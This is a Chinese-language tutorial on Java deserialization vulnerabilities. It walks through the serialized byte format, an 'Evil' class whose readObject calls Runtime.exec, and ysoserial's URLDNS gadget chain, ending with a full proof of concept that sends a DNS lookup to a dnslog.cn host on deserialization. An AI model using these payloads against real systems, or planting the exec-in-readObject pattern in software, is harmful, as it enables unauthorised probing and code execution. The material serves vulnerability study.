我们都知道一个对象只要实现了Serilizable接口,这个对象就可以被序列化,java的这种序列化模式为开发者提供了很多便利,我们可以不必关系具体序列化的过程,只要这个类实现了Serilizable接口,这个类的所有属性和方法都会自动序列化。
Java 序列化是指把 Java 对象转换为字节序列的过程
Java 反序列化是指把字节序列恢复为 Java 对象的过程
实现java.io.Serializable接口才可被反序列化,而且所有属性必须是可序列化的
(用transient
关键字修饰的属性除外,不参与序列化过程)
User.java(需要序列化的类)
package Serialization; import java.io.Serializable; public class User implements Serializable{ private String name; public void setName(String name){ this.name=name; } public String getName() { return name; } }
Main.java(序列化和反序列化)
package Serialization; import java.io.*; public class Main { public static void main(String[] args) throws Exception { User user=new User(); user.setName("LearnJava"); byte[] serializeData=serialize(user); FileOutputStream fout = new FileOutputStream("user.bin"); fout.write(serializeData); fout.close(); User user2=(User) unserialize(serializeData); System.out.println(user2.getName()); } public static byte[] serialize(final Object obj) throws Exception { ByteArrayOutputStream btout = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(btout); objOut.writeObject(obj); return btout.toByteArray(); } public static Object unserialize(final byte[] serialized) throws Exception { ByteArrayInputStream btin = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(btin); return objIn.readObject(); } }
查看user.bin文件,
00000000: aced 0005 7372 0012 5365 7269 616c 697a ....sr..Serializ
00000010: 6174 696f 6e2e 5573 6572 ade4 cb02 ab94 ation.User......
00000020: b2b9 0200 014c 0004 6e61 6d65 7400 124c .....L..namet..L
00000030: 6a61 7661 2f6c 616e 672f 5374 7269 6e67 java/lang/String
00000040: 3b78 7074 0009 4c65 6172 6e4a 6176 61 ;xpt..LearnJava
根据序列化规范,aced代表java序列化数据的magic wordSTREAM_MAGIC,0005表示版本号STREAM_VERSION,73表示是一个对象TC_OBJECT,72表示这个对象的描述TC_CLASSDESC
从JAVA反序列化RCE的三要素(readobject反序列化利用点 + 利用链 + RCE触发点)来说,是通过(readobject反序列化利用点 + DNS查询)来确认readobject反序列化利用点的存在。
实现了java.io.Serializable接口的类还可以定义如下方法(反序列化魔术方法)将会在类序列化和反序列化过程中调用:
readObject()方法被重写的的话,反序列化该类时调用便是重写后的readObject()方法。如果该方法书写不当的话就有可能引发恶意代码的执行:
Evil.java
package EvilSerializtion; import java.io.*; public class Evil implements Serializable{ public String cmd; private void readObject(java.io.ObjectInputStream stream) throws Exception{ stream.defaultReadObject(); Runtime.getRuntime().exec(cmd); } }
Main.java
package EvilSerializtion; import java.io.ByteArrayOutputStream; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; public class Main { public static void main(String[] args) throws Exception { Evil evil = new Evil(); evil.cmd = "open /System/Applications/Calculator.app"; byte[] serializeData = serialize(evil); unserialize(serializeData); } public static byte[] serialize(final Object obj) throws Exception { ByteArrayOutputStream btout = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(btout); objOut.writeObject(obj); return btout.toByteArray(); } public static Object unserialize(final byte[] serialized) throws Exception { ByteArrayInputStream btin = new ByteArrayInputStream(serialized); ObjectInputStream objIn = new ObjectInputStream(btin); return objIn.readObject(); } }
URLDNS
是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:
ysoserial中列出的Gadget:
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
原理:
java.util.HashMap
重写了 readObject
, 在反序列化时会调用 hash
函数计算 key 的 hashCode.而 java.net.URL
的 hashCode 在计算时会调用 getHostAddress
来解析域名, 从而发出 DNS 请求.
HashMap#readObject:
private void readObject(java.io.ObjectInputStream s) // 读取传入的输入流,对传入的序列化数据进行反序列化 throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
关注putVal
方法,putVal
是往HashMap中放入键值对的方法,这里调用了hash
方法来处理key,跟进hash
方法:
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
这里又调用了key.hashcode
方法,而key此时是我们传入的 java.net.URL
对象,那么跟进到这个类的hashCode()方法看下
URL#hashCode
public synchronized int hashCode() { // synchronized 关键字修饰的方法为同步方法。当synchronized方法执行完或发生异常时,会自动释放锁。 if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
当hashCode字段等于-1时会进行handler.hashCode(this)
计算,跟进handler发现,定义是
transient URLStreamHandler handler; // transient 关键字,修饰Java序列化对象时,不需要序列化的属性
那么跟进java.net.URLStreamHandler#hashCode()
protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); } // Generate the file part. String file = u.getFile(); if (file != null) h += file.hashCode(); // Generate the port part. if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort(); // Generate the ref part. String ref = u.getRef(); if (ref != null) h += ref.hashCode(); return h; }
u 是我们传入的url,在调用getHostAddress
方法时,会进行dns查询。
这是正面分析的流程。
回到开始的Hashmap#readObject
// Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false);
key 是从K key = (K) s.readObject();
这段代码,也是就是readObject中得到的,说明之前在writeObject会写入key
Hashmap#writeObject
private void writeObject(java.io.ObjectOutputStream s) throws IOException { int buckets = capacity(); // Write out the threshold, loadfactor, and any hidden stuff s.defaultWriteObject(); s.writeInt(buckets); s.writeInt(size); internalWriteEntries(s); }
最后调用了internalWriteEntries
方法,跟进一下具体实现:
// Called only from writeObject, to ensure compatible ordering. void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException { Node<K,V>[] tab; if (size > 0 && (tab = table) != null) { for (int i = 0; i < tab.length; ++i) { for (Node<K,V> e = tab[i]; e != null; e = e.next) { s.writeObject(e.key); s.writeObject(e.value); } } } }
这里的key以及value是从tab中取的,而tab的值即HashMap中table的值。
想要修改table的值,就需要调用HashMap#put方法,而HashMap#put方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询:
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
为了避免这一次的dns查询(防止本机与目标机器发送的dns请求混淆),ysoserial 中使用SilentURLStreamHandler
方法,直接返回null,并不会像URLStreamHandler
那样去调用一系列方法最终到getByName
,因此也就不会触发dns查询了
static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } }
除了这种方法还可以在本地生成payload时,将hashCode设置不为-1
的其他值。
URL#hashCode
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
如果不为-1
,那么直接返回了。也就不会进行handler.hashCode(this);
这一步计算hashcode,也就没有之后的getByName
,获取dns查询
/** * The URLStreamHandler for this URL. */ transient URLStreamHandler handler; /* Our hash code. * @serial */ private int hashCode = -1;
而hashCode是通过private
关键字进行修饰的(本类中可使用),可以通过反射来修改hashCode的值
package demo; import java.lang.reflect.Field; import java.util.HashMap; import java.net.URL; public class Main { public static void main(String[] args) throws Exception { HashMap map = new HashMap(); URL url = new URL("http://7gjq24.dnslog.cn"); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); // 反射获取URL类中的hashCode f.setAccessible(true); // 绕过Java语言权限控制检查的权限 f.set(url,123); System.out.println(url.hashCode()); map.put(url,123); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询 } }
完整的POC:
package demo; import java.lang.reflect.Field; import java.util.HashMap; import java.net.URL; import java.io.FileOutputStream; import java.io.FileInputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; public class Main { public static void main(String[] args) throws Exception { HashMap map = new HashMap(); URL url = new URL("http://7gjq24.dnslog.cn"); Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); f.setAccessible(true); // 绕过Java语言权限控制检查的权限 f.set(url,123); // 设置hashcode的值为-1的其他任何数字 System.out.println(url.hashCode()); map.put(url,123); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询 f.set(url,-1); // 将hashcode重新设置为-1,确保在反序列化成功触发 try { FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser"); ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream); outputStream.writeObject(map); outputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream("./urldns.ser"); ObjectInputStream inputStream = new ObjectInputStream(fileInputStream); inputStream.readObject(); inputStream.close(); fileInputStream.close(); } catch (Exception e){ e.printStackTrace(); } } }
再来调试下 ysoserial中的 URLDNS 模块,设置debug参数:
URLDNS "http://7mczz6.dnslog.cn"
直接debug报错:
改一下Project 和 Moudles中的 Project language level
,其实就是所有都设置成一样的,包括pom.xml,实在不行,重新 git pull
重新导入idea 也能解决
下断点进行单步调试,最后看这里
方法之间的调用也很清楚的展示了出来。
借用一位师傅总结的 gadgets来结束全文:
JDK1.8下的调用路线:
而在jdk1.7u80环境下调用路线会有一处不同,但是大同小异:
感谢:
https://wx.zsxq.com/dweb2/index/topic_detail/244415545824541
https://www.t00ls.net/articles-50486.html
https://wx.zsxq.com/dweb2/index/topic_detail/548242484442524
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
https://www.liaoxuefeng.com/wiki/1252599548343744/1255945147512512
https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
https://paper.seebug.org/1242/#urldns
https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54